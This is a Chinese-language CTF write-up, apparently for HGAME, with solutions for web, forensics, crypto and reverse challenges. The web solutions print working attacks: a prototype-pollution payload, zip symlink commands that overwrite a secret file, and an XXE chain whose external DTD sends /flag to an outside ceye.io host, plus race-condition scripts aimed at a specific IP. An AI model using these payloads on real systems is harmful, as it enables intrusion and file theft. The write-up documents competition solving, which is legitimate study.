web WebVPN 源码:
const express = require ("express" );const axios = require ("axios" );const bodyParser = require ("body-parser" );const path = require ("path" );const fs = require ("fs" );const { v4 : uuidv4 } = require ("uuid" );const session = require ("express-session" );const app = express ();const port = 3000 ;const session_name = "my-webvpn-session-id-" + uuidv4 ().toString ();app.set ("view engine" , "pug" ); app.set ("trust proxy" , false ); app.use (express.static (path.join (__dirname, "public" ))); app.use ( session ({ name : session_name, secret : uuidv4 ().toString (), secure : false , resave : false , saveUninitialized : true , }) ); app.use (bodyParser.json ()); var userStorage = { username : { password : "password" , info : { age : 18 , }, strategy : { "baidu.com" : true , "google.com" : false , }, }, }; function update (dst, src ) { for (key in src) { if (key.indexOf ("__" ) != -1 ) { continue ; } if (typeof src[key] == "object" && dst[key] !== undefined ) { update (dst[key], src[key]); continue ; } dst[key] = src[key]; } } app.use ("/proxy" , async (req, res) => { const { username } = req.session ; if (!username) { res.sendStatus (403 ); } let url = (() => { try { return new URL (req.query .url ); } catch { res.status (400 ); res.end ("invalid url." ); return undefined ; } })(); if (!url) return ; console .log (url.hostname ); console .log (username); if (!userStorage[username].strategy [url.hostname ]) { res.status (400 ); res.end ("your url is not allowed." ); } try { const headers = req.headers ; headers.host = url.host ; headers.cookie = headers.cookie .split (";" ).forEach ((cookie ) => { var filtered_cookie = "" ; const [key, value] = cookie.split ("=" , 1 ); if (key.trim () !== session_name) { filtered_cookie += `${key} =${value} ;` ; } return filtered_cookie; }); const remote_res = await (() => { if (req.method == "POST" ) { return axios.post (url, req.body , { headers : headers, }); } else if (req.method == "GET" ) { return axios.get (url, { headers : headers, }); } else { res.status (405 ); res.end ("method not allowed." ); return ; } })(); res.status (remote_res.status ); res.header (remote_res.headers ); res.write (remote_res.data ); } catch (e) { res.status (500 ); res.end ("unreachable url." ); } }); app.post ("/user/login" , (req, res ) => { const { username, password } = req.body ; if ( typeof username != "string" || typeof password != "string" || !username || !password ) { res.status (400 ); res.end ("invalid username or password" ); return ; } if (!userStorage[username]) { res.status (403 ); res.end ("invalid username or password" ); return ; } if (userStorage[username].password !== password) { res.status (403 ); res.end ("invalid username or password" ); return ; } req.session .username = username; res.send ("login success" ); }); app.post ("/user/info" , (req, res ) => { if (!req.session .username ) { res.sendStatus (403 ); } update (userStorage[req.session .username ].info , req.body ); res.sendStatus (200 ); }); app.get ("/home" , (req, res ) => { if (!req.session .username ) { res.sendStatus (403 ); return ; } res.render ("home" , { username : req.session .username , strategy : ((list )=> { var result = []; for (var key in list) { result.push ({host : key, allow : list[key]}); } return result; })(userStorage[req.session .username ].strategy ), }); }); app.get ("/flag" , (req, res ) => { if ( req.headers .host != "127.0.0.1:3000" || req.hostname != "127.0.0.1" || req.ip != "127.0.0.1" ) { res.sendStatus (400 ); return ; } const data = fs.readFileSync ("/flag" ); res.send (data); }); app.listen (port, '0.0.0.0' , () => { console .log (`app listen on ${port} ` ); });
观察这个函数
function update (dst, src ) { for (key in src) { if (key.indexOf ("__" ) != -1 ) { continue ; } if (typeof src[key] == "object" && dst[key] !== undefined ) { update (dst[key], src[key]); continue ; } dst[key] = src[key]; } }
这是一个原型链污染的函数,过滤了 __
,不能使用 __proto__
可以用 constructor.prototype
代替__proto__
找一下那里调用了这个函数
app.post ("/user/info" , (req, res ) => { if (!req.session .username ) { res.sendStatus (403 ); } update (userStorage[req.session .username ].info , req.body ); res.sendStatus (200 ); });
这个路由调用了update
函数,可以原型链污染。
找一下触发flag的条件,知道需要污染什么
app.use ("/proxy" , async (req, res) => { const { username } = req.session ; if (!username) { res.sendStatus (403 ); } let url = (() => { try { return new URL (req.query .url ); } catch { res.status (400 ); res.end ("invalid url." ); return undefined ; } })(); if (!url) return ; console .log (url.hostname ); console .log (username); if (!userStorage[username].strategy [url.hostname ]) { res.status (400 ); res.end ("your url is not allowed." ); } try { const headers = req.headers ; headers.host = url.host ; headers.cookie = headers.cookie .split (";" ).forEach ((cookie ) => { var filtered_cookie = "" ; const [key, value] = cookie.split ("=" , 1 ); if (key.trim () !== session_name) { filtered_cookie += `${key} =${value} ;` ; } return filtered_cookie; }); const remote_res = await (() => { if (req.method == "POST" ) { return axios.post (url, req.body , { headers : headers, }); } else if (req.method == "GET" ) { return axios.get (url, { headers : headers, }); } else { res.status (405 ); res.end ("method not allowed." ); return ; } })(); res.status (remote_res.status ); res.header (remote_res.headers ); res.write (remote_res.data ); } catch (e) { res.status (500 ); res.end ("unreachable url." ); } });
app.get ("/flag" , (req, res ) => { if ( req.headers .host != "127.0.0.1:3000" || req.hostname != "127.0.0.1" || req.ip != "127.0.0.1" ) { res.sendStatus (400 ); return ; } const data = fs.readFileSync ("/flag" ); res.send (data); });
可以知道我们需要通过/proxy
路由访问http://127.0.0.1:3000/flag
才能得到flag。
分析一下/proxy
路由
传入一个url
的参数,里面填上需要访问的网站,然后检查这个网站是不是允许访问的,是的话就访问,不是就返回your url is not allowed.
。
接下来就是需要污染了,我们需要把127.0.0.1
污染成允许访问,因为默认是没有的。
本地测试代码:
var userStorage = { username : { password : "password" , info : { age : 18 , }, strategy : { "baidu.com" : true , "google.com" : false , }, }, }; function update (dst, src ) { for (key in src) { if (typeof src[key] == "object" && dst[key] !== undefined ) { update (dst[key], src[key]); continue ; } dst[key] = src[key]; } } let url = new URL ("http://127.0.0.1:3000/flag" );let o2 = JSON .parse ('{"age":33,"constructor":{"prototype":{"127.0.0.1":true}}}' );update (userStorage["username" ].info , o2);console .log (userStorage['username' ].strategy [url.hostname ]);
由此可以确定我们在/user/info
路由传入的数据
{"age":33,"constructor":{"prototype":{"127.0.0.1":true}}}
污染成功后,通过/proxy
路由访问http://127.0.0.1:3000/flag
即可得到flag。
Zero Link 部分源码:
routes.go
package routesimport ( "fmt" "html/template" "net/http" "os" "os/signal" "path/filepath" "zero-link/internal/config" "zero-link/internal/controller/auth" "zero-link/internal/controller/file" "zero-link/internal/controller/ping" "zero-link/internal/controller/user" "zero-link/internal/middleware" "zero-link/internal/views" "github.com/gin-contrib/sessions" "github.com/gin-contrib/sessions/cookie" "github.com/gin-gonic/gin" ) func Run () { r := gin.Default() html := template.Must(template.New("" ).ParseFS(views.FS, "*" )) r.SetHTMLTemplate(html) secret := config.Secret.SessionSecret store := cookie.NewStore([]byte (secret)) r.Use(sessions.Sessions("session" , store)) api := r.Group("/api" ) { api.GET("/ping" , ping.Ping) api.POST("/user" , user.GetUserInfo) api.POST("/login" , auth.AdminLogin) apiAuth := api.Group("" ) apiAuth.Use(middleware.Auth()) { apiAuth.POST("/upload" , file.UploadFile) apiAuth.GET("/unzip" , file.UnzipPackage) apiAuth.GET("/secret" , file.ReadSecretFile) } } frontend := r.Group("/" ) { frontend.GET("/" , func (c *gin.Context) { c.HTML(http.StatusOK, "index.html" , nil ) }) frontend.GET("/login" , func (c *gin.Context) { c.HTML(http.StatusOK, "login.html" , nil ) }) frontendAuth := frontend.Group("" ) frontendAuth.Use(middleware.Auth()) { frontendAuth.GET("/manager" , func (c *gin.Context) { c.HTML(http.StatusOK, "manager.html" , nil ) }) } } quit := make (chan os.Signal) signal.Notify(quit, os.Interrupt) go func () { <-quit err := os.Remove(filepath.Join("." , "sqlite.db" )) if err != nil { fmt.Println("Failed to delete sqlite.db:" , err) } else { fmt.Println("sqlite.db deleted" ) } os.Exit(0 ) }() r.Run(":8000" ) }
通过这里确定路由,接着是登录,我们需要找到Admin
的密码。
在/api/user
路由能够查询用户,限制了Username != "Admin"
和 Token != "0000"
。
func GetUserByUsernameOrToken (username string , token string ) (*User, error ) { var user User query := db if username != "" { query = query.Where(&User{Username: username}) } else { query = query.Where(&User{Token: token}) } err := query.First(&user).Error if err != nil { log.Println("Cannot get user: " + err.Error()) return nil , err } return &user, nil }
主要查询函数是这个,通过传入空的username
和token
可以得到Admin
的密码为 Zb77jbeoZkDdfQ12fzb0
。
接着来到上传页面,查看file.go
的代码
package fileimport ( "net/http" "os" "os/exec" "path/filepath" "zero-link/internal/util" "github.com/gin-gonic/gin" ) type FileResponse struct { Code int `json:"code"` Message string `json:"message"` Data string `json:"data"` } func UploadFile (c *gin.Context) { file, err := c.FormFile("file" ) if err != nil { c.JSON(http.StatusBadRequest, FileResponse{ Code: http.StatusBadRequest, Message: "No file uploaded" , Data: "" , }) return } ext := filepath.Ext(file.Filename) if (ext != ".zip" ) || (file.Header.Get("Content-Type" ) != "application/zip" ) { c.JSON(http.StatusBadRequest, FileResponse{ Code: http.StatusBadRequest, Message: "Only .zip files are allowed" , Data: "" , }) return } filename := "/app/uploads/" + file.Filename if _, err := os.Stat(filename); err == nil { err := os.Remove(filename) if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to remove existing file" , Data: "" , }) return } } err = c.SaveUploadedFile(file, filename) if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to save file" , Data: "" , }) return } c.JSON(http.StatusOK, FileResponse{ Code: http.StatusOK, Message: "File uploaded successfully" , Data: filename, }) } func UnzipPackage (c *gin.Context) { files, err := filepath.Glob("/app/uploads/*.zip" ) if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to get list of .zip files" , Data: "" , }) return } for _, file := range files { cmd := exec.Command("unzip" , "-o" , file, "-d" , "/tmp/" ) if err := cmd.Run(); err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to unzip file: " + file, Data: "" , }) return } } c.JSON(http.StatusOK, FileResponse{ Code: http.StatusOK, Message: "Unzip completed" , Data: "" , }) } func ReadSecretFile (c *gin.Context) { secretFilepath := "/app/secret" content, err := util.ReadFileToString(secretFilepath) if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to read secret file" , Data: "" , }) return } secretContent, err := util.ReadFileToString(content) if err != nil { c.JSON(http.StatusInternalServerError, FileResponse{ Code: http.StatusInternalServerError, Message: "Failed to read secret file content" , Data: "" , }) return } c.JSON(http.StatusOK, FileResponse{ Code: http.StatusOK, Message: "Secret content read successfully" , Data: secretContent, }) }
/api/upload
路由只能上传zip
文件。
/api/unzip
路由是用unzip
将上传的zip
文件解压,把文件解压到/tmp/
。
/api/secret
路由是读/app/secret
文件的内容。
这里参考ciscn的unzip
,参考链接:【CISCN2023】unzip 详解
通过软链接把/app
文件夹链接到web
文件夹,然后解压到/tmp
,之后再把新的secret
解压到web
,因为web
文件夹是/app
文件夹的软链接,解压到web
文件夹等同于解压到/app
文件夹,从而用新的secret
覆盖掉旧的secret
。
文件生成,需要保证根目录有/app
文件夹
ln -s /app web zip --symlinks aweb.zip web echo "/flag" > web/secretzip -y web/secret flag.zip zip -y flag.zip web/secret
先上传web.zip
再上传flag.zip
,顺序不能反。
每上传完一个文件都要访问一下/api/unzip
解压
解压完后访问/api/secret
即可得到真正的flag。
VidarBox 参考链接:RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup
XXE漏洞&绕过
关键代码:
package org.vidar.controller;import org.springframework.core.io.DefaultResourceLoader;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.xml.sax.InputSource;import org.xml.sax.SAXException;import org.xml.sax.XMLReader;import org.xml.sax.helpers.XMLReaderFactory;import java.io.*;@Controller public class BackdoorController { private String workdir = "file:///non_exists/" ; private String suffix = ".xml" ; @RequestMapping("/") public String index () { return "index.html" ; } @GetMapping({"/backdoor"}) @ResponseBody public String hack (@RequestParam String fname) throws IOException, SAXException { DefaultResourceLoader resourceLoader = new DefaultResourceLoader (); System.out.println(this .workdir + fname + this .suffix); byte [] content = resourceLoader.getResource(this .workdir + fname + this .suffix).getContentAsByteArray(); if (content != null && this .safeCheck(content)) { XMLReader reader = XMLReaderFactory.createXMLReader(); reader.parse(new InputSource (new ByteArrayInputStream (content))); return "success" ; } else { return "error" ; } } private boolean safeCheck (byte [] stream) throws IOException { String content = new String (stream); return !content.contains("DOCTYPE" ) && !content.contains("ENTITY" ) && !content.contains("doctype" ) && !content.contains("entity" ); } }
在reader.parse
存在xxe,但是xxe是从文件加载进来的,题目没有上传接口,而且读取文件指定了用file://
协议,也不能从外面读取数据(好像有方法能读,但是我不会,也没找到方法)
先考虑xxe的过滤绕过,可以采用UTF-16be
来绕。
先用正常的payload,然后转成UTF-16be
即可。
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
接着是回显问题,题目成功只返回了success
,没有xxe数据的回显,要外带出来。
text.xml,接下来要上传到靶机上的:
<?xml version="1.0" encoding="UTF-16" ?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % remote SYSTEM "http://[ip]:[port]/test.dtd" > %remote; %all; ]> <root > &send; </root >
test.dtd ,放在自己服务器上的:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://kbqsag.ceye.io?file=%file;'>">
先本地验证确保xxe能正常带出,再进行接下来的操作。
第二步是如何把test.xml
放到服务器上,这里就类似与php的临时文件包含了,强制上传文件会使得服务器短暂生成临时文件,只要我们够快,把临时文件包含进来,即可加载自定的xml
文件。
这里参考了 rwctf 2024 正式赛
的 chatterbox
,里面的 file协议和题目一模一样。
直接抄脚本,开始条件竞争。
uolaod.py(用来上传文件):
import requestsimport ioimport threadingurl='http://139.196.183.57:32517/' def write (): while True : response=requests.post(url,files={'file' :('poc' ,open ('new.xml' ,'rb' ))}) if __name__=='__main__' : evnet=threading.Event() with requests.session() as session: for i in range (10 ): threading.Thread(target=write).start() evnet.set ()
xxe.py(用来包含临时文件):
import requestsimport ioimport timeimport threadingwhile True : for i in range (10 , 35 ): try : url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i} %23' response = requests.get(url,timeout=0.5 ) print (i,response.text) if response.text == 'success' or response.text == 'error' : print (i,response.text) time.sleep(10 ) except : pass
上面两个python脚本开两个命令行同时跑
放着自己跑一会,之后即可得到flag
hgame{85cd4471a80cd3a5f2c594e921bfe2a8f92c827b}
misc 与ai聊天 复读机的胜利(
Blind SQL Injection 参考链接:sqlmap盲注流量的一点分析
先把payload和返回数据都提取出来,用tshark过滤
tshark -r blindsql.pcapng -Y "ip.src == 117.21.200.176 && http.response" -T fields -E separator="~" -e http.response_for.uri -e http.file_data > data1.txt
解释一下,ip.src == 117.21.200.176
是服务器发出的包,http.response
是指过滤http返回内容,-E separator
是设置输出分隔符,-e
代表输出流量中对应字段,在这里输出返回包中的uri和数据。
之后再观察成功和失败的包,找到成功的标志为ERROR
,注入语句的标志为group_concat(password)))From(F1naI1y)),
。
之后就是编写脚本了:
import urllib.parsef = open ("data1.txt" , "rb" ).readlines() pattern = "group_concat(password)))From(F1naI1y))," trueInjection = "ERROR" temp = {} for i in range (0 , len (f)): line = str (f[i])[2 :] if line.find("~" ) == -1 : continue url, data = line.split("~" )[0 ],line.split("~" )[1 ] url = urllib.parse.unquote(url).strip() positions = url.find(pattern) if positions != -1 : data1 = url[positions+len (pattern):].split("," )[0 ] data2 = url[positions+len (pattern):].split(">" )[1 ].split(")" )[0 ] if data.find(trueInjection) != -1 : data3 = True else : data3 = False if data1 not in temp: temp[data1]=[(data2,data3)] else : temp[data1].append((data2,data3)) else : continue text="" for i in temp: small = -1 large = -1 for j in temp[i]: if j[1 ] : small = j[0 ] else : large = j[0 ] if large != -1 : text+=chr (int (large)) print (text[::-1 ])
简单的vmdk取证 用7-zip
解压vmdk
。
用SAMInside
查看SAM
,获取Administrator
登录密码的NT哈希值。
cmd5 解密,可以得到密码明文。
flag:
hgame{DAC3A2930FC196001F3AEAB959748448_Admin1234}
简单的取证,不过前十个有红包 还是上一题的vmdk
镜像,查看桌面,可以得到VeraCrypt
的密码。
拿到密码后用 VeraCrypt
挂载 vera.hc
,输入密码挂载成功后,打开挂载盘即可得到flag。
hgame{happy_new_year_her3_1s_a_redbag_key_41342177}
Crypto exRSA 源码:
from Crypto.Util.number import *from secret import flagm=bytes_to_long(flag) p=getStrongPrime(1024 ) q=getStrongPrime(1024 ) phi=(p-1 )*(q-1 ) h1=inverse(getPrime(768 ),phi) h2=inverse(getPrime(768 ),phi) h3=inverse(getPrime(768 ),phi) n=p*q c=pow (m,0x10001 ,n) print (f'h1={e1} ' )print (f'h2={e2} ' )print (f'h3={e3} ' )print (f'c={c} ' )print (f'n={n} ' )""" h1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539 h2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401 h3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279 c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399 n=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753 """
拓展维纳攻击(Extending Wiener Attack)
参考链接:扩展维纳攻击
脚本:
from gmpy2 import inverte1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539 e2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401 e3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279 c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399 N=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753 a=768. /2048 D=diagonal_matrix(ZZ,[N**1.5 ,N,N**(a+1.5 ),N**(0.5 ),N**(a+1.5 ),N**(a+1 ),N**(a+1 ),1 ]) M=matrix(ZZ,[[1 ,-N,0 ,N**2 ,0 ,0 ,0 ,-N**3 ], [0 ,e1,-e1,-e1*N,-e1,0 ,N*e1,N**2 *e1], [0 ,0 ,e2,-e2*N,0 ,N*e2,0 ,N**2 *e2], [0 ,0 ,0 ,e1*e2,0 ,-e1*e2,-e1*e2,-N*e1*e2], [0 ,0 ,0 ,0 ,e3,-N*e3,-N*e3,N**2 *e3], [0 ,0 ,0 ,0 ,0 ,e1*e3,0 ,-N*e1*e3], [0 ,0 ,0 ,0 ,0 ,0 ,e2*e3,-N*e2*e3], [0 ,0 ,0 ,0 ,0 ,0 ,0 ,e1*e2*e3]])*D L=M.LLL() t=vector(ZZ,L[0 ]) x=t*M**(-1 ) phi=int (x[1 ]/x[0 ]*e1) d=invert(0x10001 ,phi) m=pow (c,d,N) print (bytes .fromhex(hex (m)[2 :]))b"hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}"
Reverse mystery 参考链接:RE-RC4加密分析
先ida分析:
这是主要的运行函数,实现了一个类似RC4
加密的效果。前面的初始化和rc4的一样,就后边的异或变成了减。
查看其他函数
在对flag加密前,程序会先把用来加密flag的key
先和加密key的key
先异或上0x2f
,之后再rc4加密。
直接拿现成的rc4脚本来改以下就行了。
脚本:
#include <iostream> using namespace std;void RC4_encrypt (unsigned char *m, char *key,int mlen,int keylen) { unsigned char s[256 ]; unsigned char t[256 ]; for (int i=0 ;i<256 ;i++){ s[i]=i; t[i]=key[i%keylen]; } int j = 0 ; for (int i=0 ;i<256 ;i++){ j=(j+s[i]+t[i])%256 ; swap (s[i],s[j]); } unsigned char k[mlen]; int i=0 ; j=0 ; int tmp; for (int index=0 ;index<mlen;index++){ i=(i+1 )%256 ; j=(j+s[i])%256 ; swap (s[i],s[j]); tmp=(s[i]+s[j])%256 ; k[index]=s[tmp]; } for (i=0 ;i<mlen;i++) { m[i]=m[i]^k[i]; } } void RC4_encrypt_new (unsigned char *m, char *key,int mlen,int keylen) { unsigned char s[256 ]; unsigned char t[256 ]; for (int i=0 ;i<256 ;i++){ s[i]=i; t[i]=key[i%keylen]; } int j = 0 ; for (int i=0 ;i<256 ;i++){ j=(j+s[i]+t[i])%256 ; swap (s[i],s[j]); } unsigned char k[mlen]; int i=0 ; j=0 ; int tmp; for (int index=0 ;index<mlen;index++){ i=(i+1 )%256 ; j=(j+s[i])%256 ; swap (s[i],s[j]); tmp=(s[i]+s[j])%256 ; k[index]=s[tmp]; } for (i=0 ;i<mlen;i++) { m[i]=m[i]+k[i]; } } int main () { int i; unsigned char enc[] = { 80 , 66 , 56 , 77 , 76 , 84 , 144 , 111 , 254 , 111 , 188 , 105 , 185 , 34 , 124 , 22 , 143 , 68 , 56 , 74 , 239 , 55 , 67 , 192 , 162 , 182 , 52 , 44 }; char kkey[] = { 68 , 74 , 86 , 68 , 74 , 86 }; char key[] = {77 , 78 , 65 , 112 , 75 , 74 , 77 , 90 , 72 , 14 }; for (i = 0 ;i < 10 ;i++) { key[i]^=0x2f ; } for (i = 0 ;i < 6 ;i++) { kkey[i]^=0x2f ; } RC4_encrypt ((unsigned char *)key,kkey,10 ,6 ); RC4_encrypt_new (enc,key,28 ,10 ); cout << enc; return 0 ; }